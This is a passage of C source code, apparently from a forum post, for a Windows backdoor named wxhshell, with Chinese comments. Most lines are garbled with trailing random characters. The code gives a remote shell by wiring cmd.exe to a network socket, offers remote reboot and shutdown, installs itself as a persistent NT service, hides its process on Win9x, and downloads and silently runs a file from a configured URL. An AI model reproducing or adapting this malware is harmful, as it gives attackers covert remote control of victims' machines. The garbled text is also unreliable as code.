  // 帮助 +{%4&T<nHw  
  case '?': { <D dHP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0V#t ;`Q3  
    break; )[)]@e  
  } Vtg/,1KQ  
  // 安装 1b7xw#gLx  
  case 'i': { #rpqt{m l  
    if(Install()) eq+o_R}CS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }J?fJ (  
    else 5Hm!5:ZB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9aU:[]w  
    break; GA_`C"mx  
    } ThlJhTh<%4  
  // 卸载 >a7(A#3@d  
  case 'r': { !TOi]`vqc  
    if(Uninstall()) f0`' i[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s4gNS eA  
    else +.lWck  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); huoKr  
    break; 7L+X\oaB  
    } BXo|CITso  
  // 显示 wxhshell 所在路径 w&"w"  
  case 'p': { uT/B}`md  
    char svExeFile[MAX_PATH]; h*KHEg"+  
    strcpy(svExeFile,"\n\r"); !~N4}!X3du  
      strcat(svExeFile,ExeFile); N &[,nUd  
        send(wsh,svExeFile,strlen(svExeFile),0); ]`sIs= _[  
    break; M',D  
    } 6XAr8mw9  
  // 重启 |{PJT#W%  
  case 'b': { 8-"5|pNc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MH.,s@  
    if(Boot(REBOOT)) bX H^Bm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [/Z'OV"tU  
    else { `,Nn4  
    closesocket(wsh); ^B5cNEO  
    ExitThread(0); p}A4K#G  
    } 0c61q Q6  
    break; f 4I#a&DO  
    } >NRz*h#  
  // 关机 klJ[ {p  
  case 'd': { ' f$L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7F(F.ut  
    if(Boot(SHUTDOWN)) -?nT mzRc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ewrWSffe  
    else { EO&ACG  
    closesocket(wsh); K) `:v|d  
    ExitThread(0); 1 j12Qn@]  
    } bez'[Y{  
    break; bjBeiKH  
    } )c*k _/ 4  
  // 获取shell pfZ,t<bE2  
  case 's': { vif8 {S  
    CmdShell(wsh);  A<Z 5  
    closesocket(wsh); t/*K#]26  
    ExitThread(0); 7+a%ehwU  
    break; 8RAeJ~e  
  } 8M|)ojH  
  // 退出 2ly,l[p8  
  case 'x': { eq~c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "'!%};  
    CloseIt(wsh); Dw`m>'J0  
    break; z g7l>9Sc  
    } 'n[+r}3  
  // 离开 +qUkMx  
  case 'q': { T]6c9_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V< vPFxC  
    closesocket(wsh); +F o$o  
    WSACleanup(); em1cc,  
    exit(1); !wd'::C  
    break; `cP'~OT  
        } So=nB} b[?  
  } lW$&fuDHF  
  } Z|(c(H2  
f5aF6FBH  
  // 提示信息 6%kJDY.  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :@ E1Pun?  
} |jk-@ Z*  
  } &QTeGn  
A!{.|x[S44  
  return; 'q92E(  
} GwQZf|  
O<1vSav!K  
// shell模块句柄 Hs%QEvZl  
int CmdShell(SOCKET sock) < m enABN4  
{ 9Yl8n dP^E  
STARTUPINFO si; /S]:dDY9K  
ZeroMemory(&si,sizeof(si)); 7w Q+giu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xegQRc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bEBBwv  
PROCESS_INFORMATION ProcessInfo; $>r>0S#+\&  
char cmdline[]="cmd"; sLG>>d3R1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'B3Wza.  
  return 0; ov`^o25f  
} ?+n&hHRg  
qBy NHo7Tb  
// 自身启动模式 (/U)> %n  
int StartFromService(void) Jq$_=X&  
{ +YkW[a\4  
typedef struct l Io9,Ke  
{ A<SOT>m]  
  DWORD ExitStatus; UZje>. ~?  
  DWORD PebBaseAddress; {}_Nep/;  
  DWORD AffinityMask; 7}ws |4Y  
  DWORD BasePriority; kS+r"e .TM  
  ULONG UniqueProcessId; ({%oi h  
  ULONG InheritedFromUniqueProcessId; 2.LJp}>  
}   PROCESS_BASIC_INFORMATION; #zS1Z f^KP  
o)%-l4S  
PROCNTQSIP NtQueryInformationProcess; ,-(T"Ph<  
id;#{O$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )sW6iR&_i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f]tv`<Q7  
]C16y. ~e  
  HANDLE             hProcess; 9- xlvU,o  
  PROCESS_BASIC_INFORMATION pbi; mRhd/|g*  
7fju  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +@emX$cFV  
  if(NULL == hInst ) return 0; ME$2P!o  
A*8m8Sh$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \3Dk5cSDk+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <<=e9Lh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  8]q  
-t8hi+NK  
  if (!NtQueryInformationProcess) return 0; erx 5j\  
jR{-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lWx  
  if(!hProcess) return 0; d/D,P=j"  
 0]AN;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )0#j\ B  
;V_.[aX  
  CloseHandle(hProcess); B_{HkQ.PW  
}p~OCW!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $hkq>i \  
if(hProcess==NULL) return 0; qWsylC23  
>Z+"`"^o}  
HMODULE hMod; C:`;d&d  
char procName[255]; 'yp>L|  
unsigned long cbNeeded; ))7LE|1l  
eV"!/A2:N5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I eG=J4:*  
yND"bF9  
  CloseHandle(hProcess); %35L=d[  
I2f?xJ2/Z  
if(strstr(procName,"services")) return 1; // 以服务启动 ~xGoJrF\  
x_*%*H  
  return 0; // 注册表启动 ^SZw`]  
} %*wzO9w4  
`79[+0hL'  
// 主模块 t3PtKgP-6  
int StartWxhshell(LPSTR lpCmdLine) 7vn%kW=$  
{ ypx: )e"/  
  SOCKET wsl; HTmI1  
BOOL val=TRUE; dj'm, k b  
  int port=0; ,7GWB:Sk  
  struct sockaddr_in door; gtiEhCF2W  
'77~{jy  
  if(wscfg.ws_autoins) Install(); /;?M?o"H  
Xka<I3UD5  
port=atoi(lpCmdLine); kv6Cp0uFg  
WRW WskP  
if(port<=0) port=wscfg.ws_port; 4&QUh+F  
[J^  
  WSADATA data; Cyq?5\a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L!t@-5~  
,CP 5~4u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zuSq+px L@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R}8XRe  
  door.sin_family = AF_INET; /F.Wigv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,P{mk%=9  
  door.sin_port = htons(port); #05jC6  
lVz9k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7 8Vcu'j&_  
closesocket(wsl); hi ~}  
return 1; o*">KqU`b  
} $B;_Jo\|  
WJ |:kuF  
  if(listen(wsl,2) == INVALID_SOCKET) { : [q0S@  
closesocket(wsl); 'OwyyPBF  
return 1; &-%>q B|*  
} 1B|8ZmFJj  
  Wxhshell(wsl); +TK3{5`!Ae  
  WSACleanup(); V A<5uk04K  
FmEc`N9\v  
return 0; } bH$O%  
Q_]d5pl  
} 7p.>\YtoR}  
mpgO s  
// 以NT服务方式启动 -(i(02PX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #2RiLht  
{ /kgeV4]zR  
DWORD   status = 0; !gF9k8\Yr$  
  DWORD   specificError = 0xfffffff; :4:N f  
aTd D`h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rYY$wA@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LCs__.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <A >)[u  
  serviceStatus.dwWin32ExitCode     = 0;  8"%RCE  
  serviceStatus.dwServiceSpecificExitCode = 0; !d,8kG  
  serviceStatus.dwCheckPoint       = 0; Qck| #tc  
  serviceStatus.dwWaitHint       = 0; .Da'pOe  
Rx7X_A}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \8S ~c8Z~  
  if (hServiceStatusHandle==0) return; '$G"[ljr  
j~E",7Q'  
status = GetLastError(); K<4Kk3  
  if (status!=NO_ERROR) UH? p]4Nz  
{ 'OkGReKt  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?WUF!Jk  
    serviceStatus.dwCheckPoint       = 0; +-<}+8G;  
    serviceStatus.dwWaitHint       = 0; >5hhd38  
    serviceStatus.dwWin32ExitCode     = status; %ft &Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; eg/<[ A:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?YQPlv:<o.  
    return; a,|?5j9,P  
  } .pPm~2]z  
/J3ZL[o?Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  foRD{Hx  
  serviceStatus.dwCheckPoint       = 0; Os&n  
  serviceStatus.dwWaitHint       = 0; b| M3 `  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J-xS:Ha'l  
} !345 %,  
p5\]5bb  
// 处理NT服务事件,比如:启动、停止 t23'x0l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D}3T|N  
{ {2&m`D bm  
switch(fdwControl) JIm4vS  
{ T!RT<&  
case SERVICE_CONTROL_STOP: 9Fo fr  
  serviceStatus.dwWin32ExitCode = 0; ke_ [  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @%/]Q<<q  
  serviceStatus.dwCheckPoint   = 0; j}1zdA  
  serviceStatus.dwWaitHint     = 0; C NsNZJ  
  { m8R9{LC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Q~8?p+  
  }  Ea6 &~"  
  return; "9!d]2.-Vk  
case SERVICE_CONTROL_PAUSE: 2I/xJ+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $e1=xSQp4  
  break; ,Lpixnm]  
case SERVICE_CONTROL_CONTINUE: 0AK,&nbF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1'.7_EQ4T  
  break; j;b42G~p  
case SERVICE_CONTROL_INTERROGATE: F&RgT1*  
  break; L< ^j"!0  
}; wh6yPVVF/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q=mI 9  
} oA] KE"T  
P{OAV+cG  
// 标准应用程序主函数 T9W`?A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =Prb'8 W  
{ : _e#  
Byl^?5  
// 获取操作系统版本 !RB)_7  
OsIsNt=GetOsVer(); <"N_j]wD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s m,VYYs  
4y:]DC"  
  // 从命令行安装 cH' iA.  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q?b14]6im  
Fm\"{)V:b  
  // 下载执行文件 Jn:ZYqc  
if(wscfg.ws_downexe) { dZ#&YG)?e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {7u[1[L1  
  WinExec(wscfg.ws_filenam,SW_HIDE); j#r6b]k(Hv  
} Kt@M)#  
">f erhN9  
if(!OsIsNt) { &LO"g0w  
// 如果时win9x,隐藏进程并且设置为注册表启动 GSclK|#t E  
HideProc(); q6Rr.A  
StartWxhshell(lpCmdLine); ,.iRnR  
} z>sbr<doa  
else 8Jf.ECQT  
  if(StartFromService()) 1"Z@Q`}  
  // 以服务方式启动 4iA Z+l5&  
  StartServiceCtrlDispatcher(DispatchTable); 'c2W}$q  
else |-sPLU&s%  
  // 普通方式启动 F+R?a+e  
  StartWxhshell(lpCmdLine); ^;!0j9"* :  
$mf u:tbP  
return 0; )?+$x[f!*  
}
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只看该作者 1 发表于: 2006-10-10
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